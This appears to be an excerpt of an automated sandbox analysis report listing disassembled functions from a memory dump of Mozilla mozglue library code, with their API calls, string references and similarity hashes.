Function 6CAB78C0 Relevance: 12.3, APIs: 8, Instructions: 320COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,6CB3008B), ref: 6CAB7B89
free.MOZGLUE(?,6CB3008B), ref: 6CAB7BAC

Part of subcall function 6CAB78C0: free.MOZGLUE(?,6CB3008B), ref: 6CAB7BCF

free.MOZGLUE(?,6CB3008B), ref: 6CAB7BF2

Part of subcall function 6CAD5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAD5EDB
Part of subcall function 6CAD5E90: memset.VCRUNTIME140(6CB17765,000000E5,55CCCCCC), ref: 6CAD5F27
Part of subcall function 6CAD5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CAD5FB2

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: free$CriticalSection$EnterLeavememset
String ID:
API String ID: 3977402767-0
Opcode ID: 615dce55a4ab0ce639c73c727f5fae045d484435406d6dc5c1a0c5f69bcc6d46
Instruction ID: 618347b5c8510e9500a66e9000990d1e9e2d163edee1910ff39adf9c5690de7e
Opcode Fuzzy Hash: 615dce55a4ab0ce639c73c727f5fae045d484435406d6dc5c1a0c5f69bcc6d46
Instruction Fuzzy Hash: 31C1A271E011288BEB24CB68CD90B9DB776AF41314F1506A9D41AFBBC1C771AEC98F61

Function 6CAF9420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6CAEAB89: EnterCriticalSection.KERNEL32(6CB3E370,?,?,?,6CAB34DE,6CB3F6CC,?,?,?,?,?,?,?,6CAB3284), ref: 6CAEAB94
Part of subcall function 6CAEAB89: LeaveCriticalSection.KERNEL32(6CB3E370,?,6CAB34DE,6CB3F6CC,?,?,?,?,?,?,?,6CAB3284,?,?,6CAD56F6), ref: 6CAEABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAC4A68), ref: 6CAF945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAF9470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAF9482
__Init_thread_footer.LIBCMT ref: 6CAF949F

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CAF9459
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CAF946B
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CAF947D

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: fb345ce2e0717b4a53bd4dabe872e79e4c5ae9be91e9cbe7db1917465fb39e24
Instruction ID: 06d3a80ca3d2d0c070a2549f26c50effc66609e21043475dcf4274cc65211524
Opcode Fuzzy Hash: fb345ce2e0717b4a53bd4dabe872e79e4c5ae9be91e9cbe7db1917465fb39e24
Instruction Fuzzy Hash: 66012874A0011097D7209F6CDA04A8D33B9DB19339F0C0537E85E87B41DB35D8DA899B

Function 6CB00F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB00F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CB00F88
GetCurrentThreadId.KERNEL32 ref: 6CB00FF7
InitializeConditionVariable.KERNEL32(?), ref: 6CB01067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6CB010A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6CB0114B

Part of subcall function 6CAF8AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6CB11563), ref: 6CAF8BD5

free.MOZGLUE(?), ref: 6CB01174
free.MOZGLUE(?), ref: 6CB01186

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: 32dfd8813d963bd836015d235c623dde3b0dd86760af0679d9c390bb4b8e4b55
Instruction ID: e0d52c5ec39a981b9b37fecfd31b919b02aa904af5d2c071888fba352fb448a1
Opcode Fuzzy Hash: 32dfd8813d963bd836015d235c623dde3b0dd86760af0679d9c390bb4b8e4b55
Instruction Fuzzy Hash: 84618B756043809BDB14CF24D98079EBBF5BFC5308F04891DE88947612EB71A489CB82

Function 6CABE9C0 Relevance: 12.1, APIs: 8, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,6CAC1999), ref: 6CABEA39
memcpy.VCRUNTIME140(?,?,7FFFFFFE), ref: 6CABEA5C
memset.VCRUNTIME140(7FFFFFFE,00000000,?), ref: 6CABEA76
moz_xmalloc.MOZGLUE(-00000001,?,?,6CAC1999), ref: 6CABEA9D
memcpy.VCRUNTIME140(?,7FFFFFFE,?,?,?,6CAC1999), ref: 6CABEAC2
memset.VCRUNTIME140(?,00000000,00000000,?,?,?,?), ref: 6CABEADC
free.MOZGLUE(7FFFFFFE,?,?,?,?), ref: 6CABEB0B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?), ref: 6CABEB27

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: memcpymemsetmoz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 706364981-0
Opcode ID: 713d66290f4e7ea9158f807af8ec4c8deb0ef52e6e22e65ff45830fd7b383bd1
Instruction ID: 1c823f60eeac300d5979ba6b34d27d072e6e21498f78b72592578bcd6877bcc5
Opcode Fuzzy Hash: 713d66290f4e7ea9158f807af8ec4c8deb0ef52e6e22e65ff45830fd7b383bd1
Instruction Fuzzy Hash: 3C41B5B1A002199FDB14DF68DC80AAE77BCFF45368F280668E815E7794E731DA4487D1

Function 6CABB630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6CABB61E,?,?,?,?,?,00000000), ref: 6CABB6AC

Part of subcall function 6CACCA10: malloc.MOZGLUE(?), ref: 6CACCA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6CABB61E,?,?,?,?,?,00000000), ref: 6CABB6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6CABB61E,?,?,?,?,?,00000000), ref: 6CABB6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6CABB61E,?,?,?,?,?,00000000), ref: 6CABB70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6CABB61E,?,?,?,?,?,00000000), ref: 6CABB71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6CABB61E), ref: 6CABB73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6CABB61E,?,?,?,?,?,00000000), ref: 6CABB760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6CABB61E,?,?,?,?,?,00000000), ref: 6CABB79A

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: dd5d4deb1e38f4d0924b5a30c634335697e03d3cc6d2a51294c551e9faa37ec9
Instruction ID: b5a64d86380a50bcd299a4ff30b474e36c30e827bfc00bb9f43aa19a1fff3201
Opcode Fuzzy Hash: dd5d4deb1e38f4d0924b5a30c634335697e03d3cc6d2a51294c551e9faa37ec9
Instruction Fuzzy Hash: B041B2B2D001159FCB10DF69EC806AFB7B9FB54324B290629E825E7780E731E98487D1

Function 6CABEF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6CB35104), ref: 6CABEFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CABEFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CABEFEC
free.MOZGLUE(?), ref: 6CABF00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CABF02E
memcpy.VCRUNTIME140(00000000,?), ref: 6CABF041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CABF065
moz_xmalloc.MOZGLUE ref: 6CABF072

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 70b7e362ca3ff2bc366245d7f10e31529e9a035081ec639762a5111342713b8e
Instruction ID: 0b2a147c25070b36fde45409bab1d527e1c07b9f9f068433a7e2eb275f0fa73f
Opcode Fuzzy Hash: 70b7e362ca3ff2bc366245d7f10e31529e9a035081ec639762a5111342713b8e
Instruction Fuzzy Hash: B541D3B5A002059FDB18CF78DC809BF7769AF84324B28062CE815DB7A4FB31E95587E1

Function 6CB2B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6CB2B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6CB2B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6CB2B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6CB2B5F4
__Init_thread_footer.LIBCMT ref: 6CB2B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6CB2B61F
std::_Facet_Register.LIBCPMT ref: 6CB2B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB2B655

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 6050d2448bc8844dce37bb65278e8b3c351417e48280de360c0aad198306da3f
Instruction ID: d5869c2e31190bc4b4e27a0a7c25b3725e87e5fc3917da3ae1fe3b2e6df67c8c
Opcode Fuzzy Hash: 6050d2448bc8844dce37bb65278e8b3c351417e48280de360c0aad198306da3f
Instruction Fuzzy Hash: D431AF71B002548BCB11EF69C8589AEB7B5FB8A325B14059AD90A97740DF34AC46CB92

Function 6CAC9830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6CB17ABE), ref: 6CAC985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6CB17ABE), ref: 6CAC98A8
moz_xmalloc.MOZGLUE(00000020), ref: 6CAC9909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6CAC9918
free.MOZGLUE(?), ref: 6CAC9975

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: cc98257be8a1a1ac5ef4e46b2370d016a8c1341e09f36195a53b3cc774eb3176
Instruction ID: 25412dbc34de5ce23f25fab8dcb0f670720d1f370e0195a2c6bc96ae7b846b55
Opcode Fuzzy Hash: cc98257be8a1a1ac5ef4e46b2370d016a8c1341e09f36195a53b3cc774eb3176
Instruction Fuzzy Hash: 75718B746047058FC725CF79C580956B7F1FF4A3287244AA9D85A8BBA0D731F886CB52

Function 6CACB790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6CB0CC83,?,?,?,?,?,?,?,?,?,6CB0BCAE,?,?,6CAFDC2C), ref: 6CACB7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6CB0CC83,?,?,?,?,?,?,?,?,?,6CB0BCAE,?,?,6CAFDC2C), ref: 6CACB80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6CB0CC83,?,?,?,?,?,?,?,?,?,6CB0BCAE), ref: 6CACB88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6CB0CC83,?,?,?,?,?,?,?,?,?,6CB0BCAE,?,?,6CAFDC2C), ref: 6CACB896

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 4e2744e0d07439b1b5d6a1b63ae362ce79528969c3099074a23975d4e7b91592
Instruction ID: 0e74f1a887a9a9cc02704c052520d4b854486aadf2704803a60721ac64ce746e
Opcode Fuzzy Hash: 4e2744e0d07439b1b5d6a1b63ae362ce79528969c3099074a23975d4e7b91592
Instruction Fuzzy Hash: 0B519A357006048FCB25CF58D4D8A2ABBF5FF88318B69865DE98A97395C732EC41CB81

Function 6CB01D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB01D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6CB01BE3,?,?,6CB01D96,00000000), ref: 6CB01D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6CB01BE3,?,?,6CB01D96,00000000), ref: 6CB01D4C
GetCurrentThreadId.KERNEL32 ref: 6CB01DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB01DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB01DDA

Part of subcall function 6CB01EF0: GetCurrentThreadId.KERNEL32 ref: 6CB01F03
Part of subcall function 6CB01EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6CB01DF2,00000000,00000000), ref: 6CB01F0C
Part of subcall function 6CB01EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6CB01F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6CB01DF4

Part of subcall function 6CACCA10: malloc.MOZGLUE(?), ref: 6CACCA26

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 6957d35e98bf5058bf1b1eb71b38cbbe4139161601dc60fec0c506f7f2c04078
Instruction ID: b8fb95ff503a85780a3e67d3827cb15cbfee000147c47f8c31a5101c23877dfc
Opcode Fuzzy Hash: 6957d35e98bf5058bf1b1eb71b38cbbe4139161601dc60fec0c506f7f2c04078
Instruction Fuzzy Hash: 534178B52007149FCB24DF28C488A5ABBF9FF89318F14452EE99A87B41CB31F854CB91

Function 6CB1AAB0 Relevance: 10.6, APIs: 7, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6CB3E220,?), ref: 6CB1BC2D
ReleaseSRWLockExclusive.KERNEL32(6CB3E220), ref: 6CB1BC42
RtlFreeHeap.NTDLL(?,00000000,6CB2E300), ref: 6CB1BC82
RtlFreeUnicodeString.NTDLL(6CB3E210), ref: 6CB1BC91
RtlFreeUnicodeString.NTDLL(6CB3E208), ref: 6CB1BCA3
RtlFreeHeap.NTDLL(?,00000000,6CB3E21C), ref: 6CB1BCD2
free.MOZGLUE(?), ref: 6CB1BCD8

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: d3149f1f1a7874844dc6039b4ac56cd38a76c13c49e9b6f67ea0854e971797b3
Instruction ID: f350c626c9df2d643734fc958e19850c343aa700da6e4208566e0809b8b785e8
Opcode Fuzzy Hash: d3149f1f1a7874844dc6039b4ac56cd38a76c13c49e9b6f67ea0854e971797b3
Instruction Fuzzy Hash: 6B21DDB26047948FE3209F0AC880BAABBA8FF41718F148469E81D5BF10CB35F845CBD1

Function 6CAC38A0 Relevance: 10.6, APIs: 7, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6CB3E220,?,?,?,?,6CAC3899,?), ref: 6CAC38B2
ReleaseSRWLockExclusive.KERNEL32(6CB3E220,?,?,?,6CAC3899,?), ref: 6CAC38C3
free.MOZGLUE(00000000,?,?,?,6CAC3899,?), ref: 6CAC38F1
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CAC3920
RtlFreeUnicodeString.NTDLL(-0000000C,?,?,?,6CAC3899,?), ref: 6CAC392F
RtlFreeUnicodeString.NTDLL(-00000014,?,?,?,6CAC3899,?), ref: 6CAC3943
RtlFreeHeap.NTDLL(?,00000000,0000002C), ref: 6CAC396E

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: b6e1a794ea5e48e46fa536e3a168345f356acb277a0695ccd3d02abfa220676e
Instruction ID: 83744267eaa19f090f05958d2e9e3049440bdcb82de310cef0db54fdb1d8e8c5
Opcode Fuzzy Hash: b6e1a794ea5e48e46fa536e3a168345f356acb277a0695ccd3d02abfa220676e
Instruction Fuzzy Hash: 16212372701610DFE720DF55C884BDAB7B8EF44328F258429D99E97B00C734E885CB91

Function 6CAF84E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAF84F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAF850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAF851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAF855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAF856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAF85AC

Part of subcall function 6CAF7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CAF85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAF767F
Part of subcall function 6CAF7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CAF85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAF7693
Part of subcall function 6CAF7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CAF85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAF76A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAF85B2

Part of subcall function 6CAD5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAD5EDB
Part of subcall function 6CAD5E90: memset.VCRUNTIME140(6CB17765,000000E5,55CCCCCC), ref: 6CAD5F27
Part of subcall function 6CAD5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CAD5FB2

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 56cec2c8bb0c277ee4ed675c31cbcb2947ae4b55d107aa5f1308b59bc4c24c5d
Instruction ID: 24f2d7681d9d7515ae72b3ee427b0ee3b4c7267a0e650000f427285e8a9d266e
Opcode Fuzzy Hash: 56cec2c8bb0c277ee4ed675c31cbcb2947ae4b55d107aa5f1308b59bc4c24c5d
Instruction Fuzzy Hash: 4621EF752006018FDB24DB25D888A5AB7B9BF4130DF18092CE56FC3B41DB34F889CB40

Function 6CAC1640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6CAC1699
VerSetConditionMask.NTDLL ref: 6CAC16CB
VerSetConditionMask.NTDLL ref: 6CAC16D7
VerSetConditionMask.NTDLL ref: 6CAC16DE
VerSetConditionMask.NTDLL ref: 6CAC16E5
VerSetConditionMask.NTDLL ref: 6CAC16EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CAC16F9

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin
